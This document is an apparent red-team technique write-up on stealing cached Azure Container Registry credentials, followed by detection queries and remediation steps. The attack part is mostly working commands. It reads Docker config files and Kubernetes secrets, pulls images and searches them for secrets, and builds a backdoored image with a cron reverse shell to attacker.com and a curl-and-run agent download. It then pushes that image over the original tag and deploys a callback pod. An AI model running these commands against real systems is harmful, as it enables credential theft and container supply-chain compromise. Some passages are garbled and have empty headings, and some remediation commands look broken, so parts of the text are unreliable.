| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-035 |
| MITRE ATT&CK v18.1 | T1528 - Steal Application Access Token |
| Tactic | Credential Access, Lateral Movement |
| Platforms | Entra ID / Azure |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Azure Container Registry versions |
| Patched In | N/A - By design |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Container Registry (ACR) stores container images and requires authentication to push or pull images. When credentials (admin account, service principal, or managed identity tokens) are cached or stored on developer machines, build agents, or deployment systems, attackers who compromise any of these systems can reuse the credentials to pull sensitive container images, push malicious images, or enumerate private registries. Unlike traditional credentials that might be reset, container registry credentials are often forgotten and remain active indefinitely.
Attack Surface: Docker daemon configuration (~/.docker/config.json), PowerShell credential caches, build agent configuration files (Azure DevOps, Jenkins), environment variables, Kubernetes secrets, application deployment scripts, GitHub Actions workflows.
Business Impact: Complete container supply chain compromise and lateral movement across all services using those images. An attacker can pull proprietary images (containing source code, API keys, and business logic), inject malicious code into production deployments, or enumerate registries to discover internal services. This is particularly dangerous for organizations with CI/CD pipelines.
Technical Context: ACR credentials persist on machines after a user logs in with docker login or az acr login. Unlike transient tokens, these credentials often have no expiration or are set to 12+ months. An attacker finding a cached credential can use it immediately without triggering new sign-in logs or conditional access checks.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 7.3 | Ensure registry image scanning is enabled |
| DISA STIG | SI-7(6) | Ensure container images are scanned for vulnerabilities |
| CISA SCuBA | Azure 3.2 | Ensure strong authentication for containerized workloads |
| NIST 800-53 | AC-2(1), SI-7 | Application-based authentication; Information System Monitoring |
| GDPR | Art. 32 | Security of Processing - Access Controls |
| DORA | Art. 9, Art. 15 | Protection from ICT incidents and critical dependencies |
| NIS2 | Art. 21(3) | Privilege and Access Management; Supply Chain Risk |
| ISO 27001 | A.9.2.3, A.14.1.1 | Privileged Access Rights; Information Security Controls |
| ISO 27005 | 8.2.3 | Unauthorized Access to Assets; Supply Chain Compromises |
docker CLI, or Kubernetes cluster credentials.Supported Versions:
Tools:
Supported Versions: All Docker versions
Objective: Find cached ACR credentials in Docker’s configuration file.
Command (Linux/macOS):
# Check if Docker config exists
ls -la ~/.docker/config.json
# View the file (credentials are base64-encoded)
cat ~/.docker/config.json
# Extract ACR credential details
cat ~/.docker/config.json | jq '.auths | keys'
# Decode base64 credentials
echo "Base64_encoded_credential" | base64 -d
Expected Output:
{
"auths": {
"myregistry.azurecr.io": {
"auth": "bXlzcGluMDAxOnNpMzBLSDZCRG0vZEgvMjNMSzk3YWdaWFpqVWlxcWtWRDR5Tl89"
}
}
}
Command (Windows PowerShell):
# Check for Docker config on Windows
$DockerConfigPath = "$env:USERPROFILE\.docker\config.json"
if (Test-Path $DockerConfigPath) {
Get-Content $DockerConfigPath | ConvertFrom-Json | Select-Object -ExpandProperty auths
}
# Decode base64 credential
$EncodedCred = "bXlzcGluMDAxOnNpMzBLSDZCRG0vZEgvMjNMSzk3YWdaWFpqVWlxcWtWRDR5Tl09"
$DecodedCred = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($EncodedCred))
Write-Host "Decoded credential: $DecodedCred"
Expected Output:
Username:Password or ServicePrincipalId:ClientSecret
What This Means:
OpSec & Evasion:
Troubleshooting:
No such file or directory: ~/.docker/config.json
/etc/docker/, %ProgramFiles%\Docker\Objective: Verify that extracted credentials work.
Command (Linux/macOS):
# Using extracted credentials
REGISTRY="myregistry.azurecr.io"
USERNAME="myuser"
PASSWORD="extracted_password_or_token"
# Test pull access
docker login -u "$USERNAME" -p "$PASSWORD" "$REGISTRY"
# Pull an image to confirm access
docker pull "$REGISTRY/app:latest"
# List repositories in the registry
curl -u "$USERNAME:$PASSWORD" "https://$REGISTRY/v2/_catalog"
Expected Output:
Login Succeeded
Image pulled successfully: myregistry.azurecr.io/app:latest
{"repositories":["app","backend","frontend","secret-service"]}
What This Means:
OpSec & Evasion:
Objective: Pull container images to extract source code, secrets, and proprietary logic.
Command (Linux/macOS):
# Pull sensitive images
docker pull myregistry.azurecr.io/backend-api:latest
docker pull myregistry.azurecr.io/database-migration:latest
# Extract image layers
docker save myregistry.azurecr.io/backend-api:latest -o backend-api.tar
# Extract tar and explore filesystem
mkdir -p extracted_image
cd extracted_image
tar -xf ../backend-api.tar
# Find and extract secrets
find . -name "*.env" -o -name "*.config" -o -name "*.json" | xargs grep -l "password\|api.key\|secret"
# Extract source code
find . -name "*.py" -o -name "*.js" -o -name "*.go" -o -name "*.jar" | head -20
# Look for environment variables in image layers
grep -r "ENV " . | grep -i "api\|key\|secret\|password"
Expected Output:
backend-api.tar extracted
/app/config/secrets.env contains:
DATABASE_PASSWORD=prod_password_123
API_KEY=ak-skjf-sdfj-sdfj-sdfjsdfj
/app/src/main.py (proprietary source code found)
What This Means:
OpSec & Evasion:
docker images history: docker system prune -aSupported Versions: All Docker versions
Objective: Create a backdoored version of a pulled image.
Command (Linux/macOS):
# Create a Dockerfile that adds backdoor
cat > Dockerfile.backdoor <<'EOF'
FROM myregistry.azurecr.io/app:latest
# Add reverse shell or C2 agent
RUN echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1" | crontab -
# Or install C2 agent
RUN apt-get update && apt-get install -y curl
RUN curl -o /tmp/agent.sh http://attacker.com/agent.sh && bash /tmp/agent.sh
# Hide changes in logs
RUN history -c && rm -rf /tmp/*
EOF
# Build the malicious image
docker build -f Dockerfile.backdoor -t myregistry.azurecr.io/app:latest-malicious .
# Tag it to match the original (for supply chain attack)
docker tag myregistry.azurecr.io/app:latest-malicious myregistry.azurecr.io/app:latest
What This Means:
OpSec & Evasion:
Objective: Upload the backdoored image to the registry.
Command (Linux/macOS):
# Authenticate with stolen credentials
docker login -u "$USERNAME" -p "$PASSWORD" myregistry.azurecr.io
# Push the malicious image
docker push myregistry.azurecr.io/app:latest
# Verify it's in the registry
curl -u "$USERNAME:$PASSWORD" "https://myregistry.azurecr.io/v2/app/manifests/latest"
Expected Output:
Pushing layer (100%)
Pushing manifest
Image pushed successfully
What This Means:
OpSec & Evasion:
Supported Versions: All Kubernetes versions with Azure Container Registry
Objective: Find and extract container registry credentials stored in Kubernetes secrets.
Command (Bash):
# List all secrets in all namespaces
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/dockercfg" or .type=="kubernetes.io/dockerconfigjson") | {name: .metadata.name, namespace: .metadata.namespace}'
# Extract specific secret
kubectl get secret -n default acr-secret -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d | jq '.'
# Get the registry credentials from the secret
kubectl get secret -n default acr-secret -o jsonpath='{.data.\.dockerconfigjson}' | \
base64 -d | jq '.auths[] | {username: .username, password: .password}'
Expected Output:
{
"name": "acr-secret",
"namespace": "production"
}
{
"username": "myuser",
"password": "PAT_token_or_password"
}
What This Means:
OpSec & Evasion:
Objective: Use stolen credentials to access registries used by other clusters.
Command (Bash):
# Create imagePullSecret in another cluster using stolen credentials
kubectl create secret docker-registry acr-backdoor \
--docker-server=myregistry.azurecr.io \
--docker-username="$USERNAME" \
--docker-password="$PASSWORD" \
--docker-email="attacker@example.com" \
-n production
# Deploy malicious pod using the backdoor secret
cat > backdoor-pod.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
name: backdoor-agent
spec:
imagePullSecrets:
- name: acr-backdoor
containers:
- name: agent
image: myregistry.azurecr.io/app:latest # Malicious image
command: ["/bin/bash", "-c", "curl http://attacker.com/callback"]
EOF
kubectl apply -f backdoor-pod.yaml
OpSec & Evasion:
Version: 20.10+ Installation:
# Linux
curl -fsSL https://get.docker.com -o get-docker.sh && sudo sh get-docker.sh
# macOS
brew install docker
Usage:
docker login myregistry.azurecr.io
docker pull myregistry.azurecr.io/app:latest
docker push myregistry.azurecr.io/app:latest
Installation:
az extension add --name container-registry
Usage:
az acr login --name myregistry
az acr repository list --name myregistry
az acr repository show-tags --name myregistry --repository app
Installation:
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
Usage:
kubectl get secrets -A
kubectl get secret acr-secret -o jsonpath='{.data}'
Rule Configuration:
azure_activity or container_logsazure:containerregistry or dockerSPL Query:
sourcetype="azure:containerregistry" OR sourcetype="docker"
| search action="pull" OR action="PullImage"
| stats count by user, src_ip, image_name
| where count > 10
| join user [ search sourcetype="azure:aad:audit" OperationName="Sign in" | dedup user ]
What This Detects:
SPL Query:
sourcetype="azure:containerregistry"
| search action="push" OR action="PushImage"
| stats count by user, src_ip, image_name, TimeCreated
| where src_ip NOT IN ("10.0.0.0/8", "192.168.0.0/16") // Exclude internal IPs
| alert
KQL Query:
ContainerLog
| where OperationName =~ "PullImage" or OperationName =~ "pull"
| where TimeGenerated > ago(1h)
| summarize PullCount = count(), ImageCount = dcount(Image), SourceIPs = make_set(SourceIpAddress) by CallerPrincipalId, CallerPrincipalName
| where PullCount > 5 and ImageCount > 2 // Multiple images from one principal
| project CallerPrincipalName, PullCount, ImageCount, SourceIPs
KQL Query:
ContainerLog
| where OperationName =~ "PushImage" or OperationName =~ "push"
| where TimeGenerated > ago(24h)
| extend PrincipalDetails = parse_json(CallerPrincipalId)
| where CallerPrincipalId has_any ("service principal", "managed identity")
| project TimeGenerated, CallerPrincipalName, Image, OperationName, Properties
Manual Steps (Azure Portal):
Manual Steps (Azure CLI):
# Rotate admin account password
az acr credential-set --name myregistry --status Enabled
# Or disable admin account entirely (recommended)
az acr update --name myregistry --admin-enabled false
# Use managed identities instead (see Action 2)
Manual Steps (Kubernetes - Use Managed Identity):
# Create Kubernetes secret using managed identity
kubectl create secret docker-registry acr-secret \
--docker-server=myregistry.azurecr.io \
--docker-username=00000000-0000-0000-0000-000000000000 \
--docker-password=$(az account get-access-token --resource https://management.azure.com --query accessToken -o tsv) \
-n production
Manual Steps (Azure Portal):
Manual Steps (Using Notary for image signing):
# Install Notary
brew install notary # or apt-get install notary
# Sign image before push
notary key list
notary delegation add --all-paths myregistry.azurecr.io/app targets/releases
# Verify image signature on pull
docker pull --disable-content-trust=false myregistry.azurecr.io/app:latest
Manual Steps (Azure Monitor):
Cloud Logs (Azure Container Registry):
PullImage, PushImage, DeleteImageKubernetes Logs:
Command (Azure CLI):
# List all service principals with ACR pull/push permissions
az role assignment list --scope /subscriptions/<sub-id>/resourceGroups/<rg>/providers/Microsoft.ContainerRegistry/registries/myregistry --query "[].principalId" -o tsv | while read principal; do
az role assignment delete --ids /subscriptions/<sub-id>/resourceGroups/<rg>/providers/Microsoft.ContainerRegistry/registries/myregistry/providers/Microsoft.Authorization/roleAssignments/$principal
done
# Rotate admin credentials
az acr credential-set --name myregistry --status Enabled
Command (Azure CLI):
# List all images in registry
az acr repository list --name myregistry
# For each image, get manifest history
az acr manifest metadata show --name myregistry --repository app --output table
# Get detailed audit logs
az monitor activity-log list --resource-group myresourcegroup --offset 24h --query "[].{Time:eventTimestamp,Operation:operationName,Status:status,Caller:caller}" -o table
Command (Azure CLI):
# Delete specific image tag
az acr repository delete --name myregistry --image app:malicious --yes
# Delete entire repository if compromised
az acr repository delete --name myregistry --repository compromised-app --yes
Command (Kubernetes):
# Force pull new image
kubectl set image deployment/app app=myregistry.azurecr.io/app:latest@sha256:expected_hash --record
# Verify running containers
kubectl get pods -o jsonpath='{.items[].spec.containers[].image}'
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-EXPLOIT-003 (Logic App HTTP Trigger) or VM Compromise | Attacker gains access to dev/build machine |
| 2 | Credential Access | REALWORLD-035 | Extract container registry credentials |
| 3 | Lateral Movement | LM-AUTH-031 (Container Registry Cross-Registry) | Use credentials on other registries |
| 4 | Current Step | REALWORLD-035 | Inject malicious images into production registry |
| 5 | Execution | Deploy backdoored image to production | Attacker gains code execution in all deployments |
| 6 | Impact | Data exfiltration, ransomware, C2 communication | Full cluster compromise |
Cloud Artifacts:
Local Machine Artifacts (Docker):
~/.docker/config.json (Linux/macOS) or %USERPROFILE%\.docker\config.json (Windows)Local Machine Artifacts (CLI):
~/.azure/ (Azure CLI cache)Kubernetes Artifacts:
Image Registry Artifacts:
References: